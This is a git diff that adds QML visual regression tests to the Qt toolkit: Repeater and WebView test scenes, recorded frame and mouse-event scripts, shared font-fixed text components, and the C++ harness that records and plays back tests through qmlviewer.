+ ListElement {
+ name: "lightsteelblue"
+ }
+ }
+ Column{
+ Repeater{
+ model: model
+ delegate: Rectangle {
+ color: "thistle"
+ width: 100
+ height: 100
+ Rectangle {
+ anchors.centerIn: parent
+ width: 60
+ height: 60
+ color: name
+ }
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/repeater/basic4.qml b/tests/auto/declarative/qmlvisual/repeater/basic4.qml
new file mode 100644
index 00000000..c7c0d296
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/repeater/basic4.qml
@@ -0,0 +1,37 @@
+import QtQuick 1.0
+
+Rectangle {
+ color: "white"
+ width: 120
+ height: 240
+ id: page
+ ListModel {
+ id: model
+ ListElement {
+ name: "palegoldenrod"
+ }
+ ListElement {
+ name: "lightsteelblue"
+ }
+ }
+ Component {
+ id: delegate
+ Rectangle {
+ color: "thistle"
+ width: 100
+ height: 100
+ Rectangle {
+ anchors.centerIn: parent
+ width: 60
+ height: 60
+ color: name
+ }
+ }
+ }
+ Column{
+ Repeater{
+ model: model
+ delegate: delegate
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/repeater/data/basic1.0.png b/tests/auto/declarative/qmlvisual/repeater/data/basic1.0.png
new file mode 100644
index 00000000..3e8043a6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/repeater/data/basic1.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/repeater/data/basic1.qml b/tests/auto/declarative/qmlvisual/repeater/data/basic1.qml
new file mode 100644
index 00000000..aad4858c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/repeater/data/basic1.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "basic1.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/repeater/data/basic2.0.png b/tests/auto/declarative/qmlvisual/repeater/data/basic2.0.png
new file mode 100644
index 00000000..3e8043a6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/repeater/data/basic2.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/repeater/data/basic2.qml b/tests/auto/declarative/qmlvisual/repeater/data/basic2.qml
new file mode 100644
index 00000000..373ad27c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/repeater/data/basic2.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "basic2.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/repeater/data/basic3.0.png b/tests/auto/declarative/qmlvisual/repeater/data/basic3.0.png
new file mode 100644
index 00000000..3e8043a6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/repeater/data/basic3.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/repeater/data/basic3.qml b/tests/auto/declarative/qmlvisual/repeater/data/basic3.qml
new file mode 100644
index 00000000..f5dbf65a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/repeater/data/basic3.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "basic3.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/repeater/data/basic4.0.png b/tests/auto/declarative/qmlvisual/repeater/data/basic4.0.png
new file mode 100644
index 00000000..3e8043a6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/repeater/data/basic4.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/repeater/data/basic4.qml b/tests/auto/declarative/qmlvisual/repeater/data/basic4.qml
new file mode 100644
index 00000000..5e494d13
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/repeater/data/basic4.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "basic4.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/selftest_noimages/data/selftest_noimages.qml b/tests/auto/declarative/qmlvisual/selftest_noimages/data/selftest_noimages.qml
new file mode 100644
index 00000000..ccadea0d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/selftest_noimages/data/selftest_noimages.qml
@@ -0,0 +1,356 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ }
+ Frame {
+ msec: 32
+ }
+ Frame {
+ msec: 48
+ }
+ Frame {
+ msec: 64
+ }
+ Frame {
+ msec: 80
+ }
+ Frame {
+ msec: 96
+ }
+ Frame {
+ msec: 112
+ }
+ Frame {
+ msec: 128
+ }
+ Frame {
+ msec: 144
+ }
+ Frame {
+ msec: 160
+ }
+ Frame {
+ msec: 176
+ }
+ Frame {
+ msec: 192
+ }
+ Frame {
+ msec: 208
+ }
+ Frame {
+ msec: 224
+ }
+ Frame {
+ msec: 240
+ }
+ Frame {
+ msec: 256
+ }
+ Frame {
+ msec: 272
+ }
+ Frame {
+ msec: 288
+ }
+ Frame {
+ msec: 304
+ }
+ Frame {
+ msec: 320
+ }
+ Frame {
+ msec: 336
+ }
+ Frame {
+ msec: 352
+ }
+ Frame {
+ msec: 368
+ }
+ Frame {
+ msec: 384
+ }
+ Frame {
+ msec: 400
+ }
+ Frame {
+ msec: 416
+ }
+ Frame {
+ msec: 432
+ }
+ Frame {
+ msec: 448
+ }
+ Frame {
+ msec: 464
+ }
+ Frame {
+ msec: 480
+ }
+ Frame {
+ msec: 496
+ }
+ Frame {
+ msec: 512
+ }
+ Frame {
+ msec: 528
+ }
+ Frame {
+ msec: 544
+ }
+ Frame {
+ msec: 560
+ }
+ Frame {
+ msec: 576
+ }
+ Frame {
+ msec: 592
+ }
+ Frame {
+ msec: 608
+ }
+ Frame {
+ msec: 624
+ }
+ Frame {
+ msec: 640
+ }
+ Frame {
+ msec: 656
+ }
+ Frame {
+ msec: 672
+ }
+ Frame {
+ msec: 688
+ }
+ Frame {
+ msec: 704
+ }
+ Frame {
+ msec: 720
+ }
+ Frame {
+ msec: 736
+ }
+ Frame {
+ msec: 752
+ }
+ Frame {
+ msec: 768
+ }
+ Frame {
+ msec: 784
+ }
+ Frame {
+ msec: 800
+ }
+ Frame {
+ msec: 816
+ }
+ Frame {
+ msec: 832
+ }
+ Frame {
+ msec: 848
+ }
+ Frame {
+ msec: 864
+ }
+ Frame {
+ msec: 880
+ }
+ Frame {
+ msec: 896
+ }
+ Frame {
+ msec: 912
+ }
+ Frame {
+ msec: 928
+ }
+ Frame {
+ msec: 944
+ }
+ Frame {
+ msec: 960
+ }
+ Frame {
+ msec: 976
+ }
+ Frame {
+ msec: 992
+ }
+ Frame {
+ msec: 1008
+ }
+ Frame {
+ msec: 1024
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 53; y: 47
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1040
+ }
+ Frame {
+ msec: 1056
+ }
+ Frame {
+ msec: 1072
+ }
+ Frame {
+ msec: 1088
+ }
+ Frame {
+ msec: 1104
+ }
+ Frame {
+ msec: 1120
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 53; y: 47
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1136
+ }
+ Frame {
+ msec: 1152
+ }
+ Frame {
+ msec: 1168
+ }
+ Frame {
+ msec: 1184
+ }
+ Frame {
+ msec: 1200
+ }
+ Frame {
+ msec: 1216
+ }
+ Frame {
+ msec: 1232
+ }
+ Frame {
+ msec: 1248
+ }
+ Frame {
+ msec: 1264
+ }
+ Frame {
+ msec: 1280
+ }
+ Frame {
+ msec: 1296
+ }
+ Frame {
+ msec: 1312
+ }
+ Frame {
+ msec: 1328
+ }
+ Frame {
+ msec: 1344
+ }
+ Frame {
+ msec: 1360
+ }
+ Frame {
+ msec: 1376
+ }
+ Frame {
+ msec: 1392
+ }
+ Frame {
+ msec: 1408
+ }
+ Frame {
+ msec: 1424
+ }
+ Frame {
+ msec: 1440
+ }
+ Frame {
+ msec: 1456
+ }
+ Frame {
+ msec: 1472
+ }
+ Frame {
+ msec: 1488
+ }
+ Frame {
+ msec: 1504
+ }
+ Frame {
+ msec: 1520
+ }
+ Frame {
+ msec: 1536
+ }
+ Frame {
+ msec: 1552
+ }
+ Frame {
+ msec: 1568
+ }
+ Frame {
+ msec: 1584
+ }
+ Frame {
+ msec: 1600
+ }
+ Frame {
+ msec: 1616
+ }
+ Frame {
+ msec: 1632
+ }
+ Frame {
+ msec: 1648
+ }
+ Frame {
+ msec: 1664
+ }
+ Frame {
+ msec: 1680
+ }
+ Frame {
+ msec: 1696
+ }
+ Frame {
+ msec: 1712
+ }
+ Frame {
+ msec: 1728
+ }
+ Frame {
+ msec: 1744
+ }
+ Frame {
+ msec: 1760
+ }
+ Frame {
+ msec: 1776
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/selftest_noimages/selftest_noimages.qml b/tests/auto/declarative/qmlvisual/selftest_noimages/selftest_noimages.qml
new file mode 100644
index 00000000..3ef2a663
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/selftest_noimages/selftest_noimages.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+Text {
+ property string error: "not pressed"
+ text: (new Date()).valueOf()
+ MouseArea {
+ anchors.fill: parent
+ onPressed: error=""
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/shared/DejaVuSansMono.ttf b/tests/auto/declarative/qmlvisual/shared/DejaVuSansMono.ttf
new file mode 100644
index 00000000..029fcac3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/shared/DejaVuSansMono.ttf
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/shared/README b/tests/auto/declarative/qmlvisual/shared/README
new file mode 100644
index 00000000..56a88ae5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/shared/README
@@ -0,0 +1,7 @@
+These components provide a standard set of what would otherwise be system dependant settings. These are
+-default font
+-default fontSize
+-cursor blink time (unblinking cursor)
+
+This should probably be replaced with a Test Style/Theme once QtComponents is done.
+Note that having multiple font loaders is probably quite inefficient, so don't use these for performance tests.
diff --git a/tests/auto/declarative/qmlvisual/shared/TestText.qml b/tests/auto/declarative/qmlvisual/shared/TestText.qml
new file mode 100644
index 00000000..ab624c31
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/shared/TestText.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+import "../shared" 1.0
+
+Text{
+ FontLoader { id: fixedFont; source: "DejaVuSansMono.ttf" }
+ font.family: fixedFont.name
+ font.pixelSize: 12
+}
diff --git a/tests/auto/declarative/qmlvisual/shared/TestTextEdit.qml b/tests/auto/declarative/qmlvisual/shared/TestTextEdit.qml
new file mode 100644
index 00000000..e7c5bc1b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/shared/TestTextEdit.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+import "../shared" 1.0
+
+TextEdit {
+ id: edit
+ FontLoader { id: fixedFont; source: "DejaVuSansMono.ttf" }
+ font.family: fixedFont.name
+ font.pixelSize: 12
+ cursorDelegate: Rectangle {
+ width: 1;
+ color: "black";
+ visible: edit.cursorVisible
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/shared/TestTextInput.qml b/tests/auto/declarative/qmlvisual/shared/TestTextInput.qml
new file mode 100644
index 00000000..64938e04
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/shared/TestTextInput.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+import "../shared" 1.0
+
+TextInput {
+ id: inp
+ FontLoader { id: fixedFont; source: "DejaVuSansMono.ttf" }
+ font.family: fixedFont.name
+ font.pixelSize: 12
+ cursorDelegate: Rectangle {
+ width: 1;
+ color: "black";
+ visible: parent.cursorVisible//bug that 'inp' doesn't seem to work?
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/shared/qmldir b/tests/auto/declarative/qmlvisual/shared/qmldir
new file mode 100644
index 00000000..4aebb393
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/shared/qmldir
@@ -0,0 +1,3 @@
+TestText 1.0 TestText.qml
+TestTextEdit 1.0 TestTextEdit.qml
+TestTextInput 1.0 TestTextInput.qml
diff --git a/tests/auto/declarative/qmlvisual/tst_qmlvisual.cpp b/tests/auto/declarative/qmlvisual/tst_qmlvisual.cpp
new file mode 100644
index 00000000..3d59b177
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/tst_qmlvisual.cpp
@@ -0,0 +1,422 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QDeclarativeView>
+#include <QApplication>
+#include <QLibraryInfo>
+#include <QDir>
+#include <QDebug>
+#include <QProcess>
+#include <QFile>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define QT_TEST_SOURCE_DIR "."
+#endif
+
+enum Mode { Record, RecordNoVisuals, RecordSnapshot, Play, TestVisuals, RemoveVisuals, UpdateVisuals, UpdatePlatformVisuals, Test };
+
+static QString testdir;
+class tst_qmlvisual : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qmlvisual();
+
+ static QString toTestScript(const QString &, Mode=Test);
+ static QString viewer();
+
+ static QStringList findQmlFiles(const QDir &d);
+private slots:
+ void visual_data();
+ void visual();
+
+private:
+ QString qmlruntime;
+};
+
+
+tst_qmlvisual::tst_qmlvisual()
+{
+ qmlruntime = viewer();
+}
+
+QString tst_qmlvisual::viewer()
+{
+ QString binaries = QLibraryInfo::location(QLibraryInfo::BinariesPath);
+
+ QString qmlruntime;
+
+#if defined(Q_WS_MAC)
+ qmlruntime = QDir(binaries).absoluteFilePath("QMLViewer.app/Contents/MacOS/QMLViewer");
+#elif defined(Q_WS_WIN) || defined(Q_WS_S60)
+ qmlruntime = QDir(binaries).absoluteFilePath("qmlviewer.exe");
+#else
+ qmlruntime = QDir(binaries).absoluteFilePath("qmlviewer");
+#endif
+
+ return qmlruntime;
+}
+
+void tst_qmlvisual::visual_data()
+{
+ QTest::addColumn<QString>("file");
+ QTest::addColumn<QString>("testdata");
+
+ QStringList files;
+ files << findQmlFiles(QDir(QT_TEST_SOURCE_DIR));
+ if (qgetenv("QMLVISUAL_ALL") != "1") {
+#if defined(Q_WS_MAC)
+ //Text on Mac varies per version. Only check the text on 10.6
+ if(QSysInfo::MacintoshVersion != QSysInfo::MV_10_6)
+ foreach(const QString &str, files.filter(QRegExp(".*text.*")))
+ files.removeAll(str);
+#endif
+#if defined(Q_WS_QWS)
+ //We don't want QWS test results to mire down the CI system
+ files.clear();
+ //Needs at least one test data or it fails anyways
+ files << QT_TEST_SOURCE_DIR "/selftest_noimages/selftest_noimages.qml";
+#endif
+ }
+
+ foreach (const QString &file, files) {
+ QString testdata = toTestScript(file);
+ if (testdata.isEmpty())
+ continue;
+
+ QTest::newRow(file.toLatin1().constData()) << file << testdata;
+ }
+}
+
+void tst_qmlvisual::visual()
+{
+ QFETCH(QString, file);
+ QFETCH(QString, testdata);
+
+ QStringList arguments;
+#ifdef Q_WS_MAC
+ arguments << "-no-opengl";
+#endif
+ arguments << "-script" << testdata
+ << "-scriptopts" << "play,testimages,testerror,testskip,exitoncomplete,exitonfailure"
+ << file;
+#ifdef Q_WS_QWS
+ arguments << "-qws";
+#endif
+
+ QProcess p;
+ p.start(qmlruntime, arguments);
+ bool finished = p.waitForFinished();
+ QByteArray output = p.readAllStandardOutput() + p.readAllStandardError();
+ QVERIFY2(finished, output.data());
+ if (p.exitCode() != 0)
+ qDebug() << output;
+ QCOMPARE(p.exitStatus(), QProcess::NormalExit);
+ QCOMPARE(p.exitCode(), 0);
+}
+
+QString tst_qmlvisual::toTestScript(const QString &file, Mode mode)
+{
+ if (!file.endsWith(".qml"))
+ return QString();
+
+ int index = file.lastIndexOf(QDir::separator());
+ if (index == -1)
+ index = file.lastIndexOf('/');
+ if (index == -1)
+ return QString();
+
+ const char* platformsuffix=0; // platforms with different fonts
+#if defined(Q_WS_MACX)
+ platformsuffix = "-MAC";
+#elif defined(Q_WS_X11)
+ platformsuffix = "-X11";
+#elif defined(Q_WS_WIN32)
+ platformsuffix = "-WIN";
+#elif defined(Q_WS_QWS)
+ platformsuffix = "-QWS";
+#elif defined(Q_WS_S60)
+ platformsuffix = "-S60";
+#endif
+
+ QString testdata = file.left(index + 1) +
+ QString("data");
+ QString testname = file.mid(index + 1, file.length() - index - 5);
+
+ if (platformsuffix && (mode == UpdatePlatformVisuals || QFile::exists(testdata+QLatin1String(platformsuffix)+QDir::separator()+testname+".qml"))) {
+ QString platformdir = testdata + QLatin1String(platformsuffix);
+ if (mode == UpdatePlatformVisuals) {
+ if (!QDir().mkpath(platformdir)) {
+ qFatal("Cannot make path %s", qPrintable(platformdir));
+ }
+ // Copy from base
+ QDir dir(testdata,testname+".*");
+ dir.setFilter(QDir::Files);
+ QFileInfoList list = dir.entryInfoList();
+ for (int i = 0; i < list.size(); ++i) {
+ QFile in(list.at(i).filePath());
+ if (!in.open(QIODevice::ReadOnly)) {
+ qFatal("Cannot open file %s: %s", qPrintable(in.fileName()), qPrintable(in.errorString()));
+ }
+ QFile out(platformdir + QDir::separator() + list.at(i).fileName());
+ if (!out.open(QIODevice::WriteOnly)) {
+ qFatal("Cannot open file %s: %s", qPrintable(out.fileName()), qPrintable(out.errorString()));
+ }
+ out.write(in.readAll());
+ }
+ }
+ testdata = platformdir;
+ }
+
+ testdata += QDir::separator() + testname;
+
+ return testdata;
+}
+
+QStringList tst_qmlvisual::findQmlFiles(const QDir &d)
+{
+ QStringList rv;
+
+ QStringList files = d.entryList(QStringList() << QLatin1String("*.qml"),
+ QDir::Files);
+ foreach (const QString &file, files) {
+ if (file.at(0).isLower()) {
+ rv << d.absoluteFilePath(file);
+ }
+ }
+
+ QStringList dirs = d.entryList(QDir::Dirs | QDir::NoDotAndDotDot |
+ QDir::NoSymLinks);
+ foreach (const QString &dir, dirs) {
+ if (dir.left(4) == "data")
+ continue;
+
+ QDir sub = d;
+ sub.cd(dir);
+ rv << findQmlFiles(sub);
+ }
+
+ return rv;
+}
+
+void action(Mode mode, const QString &file)
+{
+ QString testdata = tst_qmlvisual::toTestScript(file,mode);
+
+ QStringList arguments;
+#ifdef Q_WS_MAC
+ arguments << "-no-opengl";
+#endif
+ switch (mode) {
+ case Test:
+ // Don't run qml
+ break;
+ case Record:
+ arguments << "-script" << testdata
+ << "-scriptopts" << "record,testimages,saveonexit"
+ << file;
+ break;
+ case RecordNoVisuals:
+ arguments << "-script" << testdata
+ << "-scriptopts" << "record,saveonexit"
+ << file;
+ break;
+ case RecordSnapshot:
+ arguments << "-script" << testdata
+ << "-scriptopts" << "record,testimages,snapshot,saveonexit"
+ << file;
+ break;
+ case Play:
+ arguments << "-script" << testdata
+ << "-scriptopts" << "play,testimages,testerror,testskip,exitoncomplete"
+ << file;
+ break;
+ case TestVisuals:
+ arguments << "-script" << testdata
+ << "-scriptopts" << "play"
+ << file;
+ break;
+ case UpdateVisuals:
+ case UpdatePlatformVisuals:
+ arguments << "-script" << testdata
+ << "-scriptopts" << "play,record,testimages,exitoncomplete,saveonexit"
+ << file;
+ break;
+ case RemoveVisuals:
+ arguments << "-script" << testdata
+ << "-scriptopts" << "play,record,exitoncomplete,saveonexit"
+ << file;
+ break;
+ }
+ if (!arguments.isEmpty()) {
+ QProcess p;
+ p.setProcessChannelMode(QProcess::ForwardedChannels);
+ p.start(tst_qmlvisual::viewer(), arguments);
+ p.waitForFinished();
+ }
+}
+
+void usage()
+{
+ fprintf(stderr, "\n");
+ fprintf(stderr, "QML related options\n");
+ fprintf(stderr, " -listtests : list all the tests seen by tst_qmlvisual, and then exit immediately\n");
+ fprintf(stderr, " -record file : record new test data for file\n");
+ fprintf(stderr, " -recordnovisuals file : record new test data for file, but ignore visuals\n");
+ fprintf(stderr, " -recordsnapshot file : record new snapshot for file (like record but only records a single frame and then exits)\n");
+ fprintf(stderr, " -play file : playback test data for file, printing errors\n");
+ fprintf(stderr, " -testvisuals file : playback test data for file, without errors\n");
+ fprintf(stderr, " -updatevisuals file : playback test data for file, accept new visuals for file\n");
+ fprintf(stderr, " -updateplatformvisuals file : playback test data for file, accept new visuals for file only on current platform (MacOSX/Win32/X11/QWS/S60)\n");
+ fprintf(stderr, "\n"
+ "Visual tests are recordings of manual interactions with a QML test,\n"
+ "that can then be run automatically. To record a new test, run:\n"
+ "\n"
+ " tst_qmlvisual -record yourtestdir/yourtest.qml\n"
+ "\n"
+ "This records everything you do (try to keep it short).\n"
+ "To play back a test, run:\n"
+ "\n"
+ " tst_qmlvisual -play yourtestdir/yourtest.qml\n"
+ "\n"
+ "Your test may include QML code to test itself, reporting any error to an\n"
+ "'error' property on the root object - the test will fail if this property\n"
+ "gets set to anything non-empty.\n"
+ "\n"
+ "If your test changes slightly but is still correct (check with -play), you\n"
+ "can update the visuals by running:\n"
+ "\n"
+ " tst_qmlvisual -updatevisuals yourtestdir/yourtest.qml\n"
+ "\n"
+ "If your test includes platform-sensitive visuals (eg. text in system fonts),\n"
+ "you should create platform-specific visuals, using -updateplatformvisuals\n"
+ "instead.\n"
+ "\n"
+ "If you ONLY wish to use the 'error' property, you can record your test with\n"
+ "-recordnovisuals, or discard existing visuals with -removevisuals; the test\n"
+ "will then only fail on a syntax error, crash, or non-empty 'error' property.\n"
+ "\n"
+ "If your test has anything set to the 'skip' property on the root object then\n"
+ "test failures will be ignored. This allows for an opt-out of automated\n"
+ "aggregation of test results. The value of the 'skip' property (usually a\n"
+ "string) will then be printed to stdout when the test is run as part of the\n"
+ "message saying the test has been skipped.\n"
+ );
+}
+
+int main(int argc, char **argv)
+{
+ QApplication app(argc, argv);
+
+ Mode mode = Test;
+ QString file;
+ bool showHelp = false;
+
+ int newArgc = 1;
+ char **newArgv = new char*[argc];
+ newArgv[0] = argv[0];
+
+ for (int ii = 1; ii < argc; ++ii) {
+ QString arg(argv[ii]);
+ if (arg == "-play" && (ii + 1) < argc) {
+ mode = Play;
+ file = argv[++ii];
+ } else if (arg == "-record" && (ii + 1) < argc) {
+ mode = Record;
+ file = argv[++ii];
+ } else if (arg == "-recordnovisuals" && (ii + 1) < argc) {
+ mode = RecordNoVisuals;
+ file = argv[++ii];
+ } else if (arg == "-recordsnapshot" && (ii + 1) < argc) {
+ mode = RecordSnapshot;
+ file = argv[++ii];
+ } else if (arg == "-testvisuals" && (ii + 1) < argc) {
+ mode = TestVisuals;
+ file = argv[++ii];
+ } else if (arg == "-removevisuals" && (ii + 1) < argc) {
+ mode = RemoveVisuals;
+ file = argv[++ii];
+ } else if (arg == "-updatevisuals" && (ii + 1) < argc) {
+ mode = UpdateVisuals;
+ file = argv[++ii];
+ } else if (arg == "-updateplatformvisuals" && (ii + 1) < argc) {
+ mode = UpdatePlatformVisuals;
+ file = argv[++ii];
+ } else {
+ newArgv[newArgc++] = argv[ii];
+ }
+
+ if (arg == "-help" || arg == "-?" || arg == "--help") {
+ atexit(usage);
+ showHelp = true;
+ }
+
+ if (arg == "-listtests") {
+ QStringList list = tst_qmlvisual::findQmlFiles(QDir(QT_TEST_SOURCE_DIR));
+ foreach (QString test, list) {
+ qWarning() << qPrintable(test);
+ }
+ return 0;
+ }
+ }
+
+ if (mode == Test || showHelp) {
+ tst_qmlvisual tc;
+ return QTest::qExec(&tc, newArgc, newArgv);
+ } else {
+ if (!file.endsWith(QLatin1String(".qml"))) {
+ qWarning() << "Error: Invalid file name (must end in .qml)";
+ return -1;
+ }
+ QDir d = QDir::current();
+ QString absFile = d.absoluteFilePath(file);
+ if (!QFile::exists(absFile)) {
+ qWarning() << "Error: File does not exist";
+ return -1;
+ }
+
+ action(mode, absFile);
+ return 0;
+ }
+}
+
+#include "tst_qmlvisual.moc"
diff --git a/tests/auto/declarative/qmlvisual/webview/autosize/autosize.qml b/tests/auto/declarative/qmlvisual/webview/autosize/autosize.qml
new file mode 100644
index 00000000..1cd0c7b5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/autosize/autosize.qml
@@ -0,0 +1,62 @@
+import QtQuick 1.0
+import QtWebKit 1.0
+
+// The WebView size is determined by the width, height,
+// preferredWidth, and preferredHeight properties.
+Rectangle {
+ property string skip: "WebView tests not counting until resources allocated to WebView maintenance"
+ id: rect
+ color: "white"
+ width: 200
+ height: layout.height
+ Column {
+ id: layout
+ spacing: 2
+ WebView {
+ html: "No width defined."
+ Rectangle { color: "#10000000"
+ anchors.fill: parent
+ }
+ }
+ WebView {
+ width: rect.width
+ html: "The width is full."
+ Rectangle {
+ color: "#10000000"
+ anchors.fill: parent
+ }
+ }
+ WebView {
+ width: rect.width/2
+ html: "The width is half."
+ Rectangle {
+ color: "#10000000"
+ anchors.fill: parent
+ }
+ }
+ WebView {
+ preferredWidth: rect.width/2
+ html: "The preferredWidth is half."
+ Rectangle {
+ color: "#10000000"
+ anchors.fill: parent
+ }
+ }
+ WebView {
+ preferredWidth: rect.width/2
+ html: "The_preferredWidth_is_half."
+ Rectangle {
+ color: "#10000000"
+ anchors.fill: parent
+ }
+ }
+ WebView {
+ width: rect.width/2
+ html: "The_width_is_half."
+ Rectangle {
+ color: "#10000000"
+ anchors.fill: parent
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/webview/autosize/data-X11/autosize.0.png b/tests/auto/declarative/qmlvisual/webview/autosize/data-X11/autosize.0.png
new file mode 100644
index 00000000..ed87174d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/autosize/data-X11/autosize.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/autosize/data-X11/autosize.1.png b/tests/auto/declarative/qmlvisual/webview/autosize/data-X11/autosize.1.png
new file mode 100644
index 00000000..ed87174d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/autosize/data-X11/autosize.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/autosize/data-X11/autosize.2.png b/tests/auto/declarative/qmlvisual/webview/autosize/data-X11/autosize.2.png
new file mode 100644
index 00000000..ed87174d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/autosize/data-X11/autosize.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/autosize/data-X11/autosize.3.png b/tests/auto/declarative/qmlvisual/webview/autosize/data-X11/autosize.3.png
new file mode 100644
index 00000000..ed87174d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/autosize/data-X11/autosize.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/autosize/data-X11/autosize.4.png b/tests/auto/declarative/qmlvisual/webview/autosize/data-X11/autosize.4.png
new file mode 100644
index 00000000..ed87174d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/autosize/data-X11/autosize.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/autosize/data/autosize.0.png b/tests/auto/declarative/qmlvisual/webview/autosize/data/autosize.0.png
new file mode 100644
index 00000000..ed87174d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/autosize/data/autosize.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/autosize/data/autosize.1.png b/tests/auto/declarative/qmlvisual/webview/autosize/data/autosize.1.png
new file mode 100644
index 00000000..ed87174d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/autosize/data/autosize.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/autosize/data/autosize.2.png b/tests/auto/declarative/qmlvisual/webview/autosize/data/autosize.2.png
new file mode 100644
index 00000000..ed87174d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/autosize/data/autosize.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/autosize/data/autosize.3.png b/tests/auto/declarative/qmlvisual/webview/autosize/data/autosize.3.png
new file mode 100644
index 00000000..ed87174d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/autosize/data/autosize.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/autosize/data/autosize.4.png b/tests/auto/declarative/qmlvisual/webview/autosize/data/autosize.4.png
new file mode 100644
index 00000000..ed87174d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/autosize/data/autosize.4.png
Binary files differ
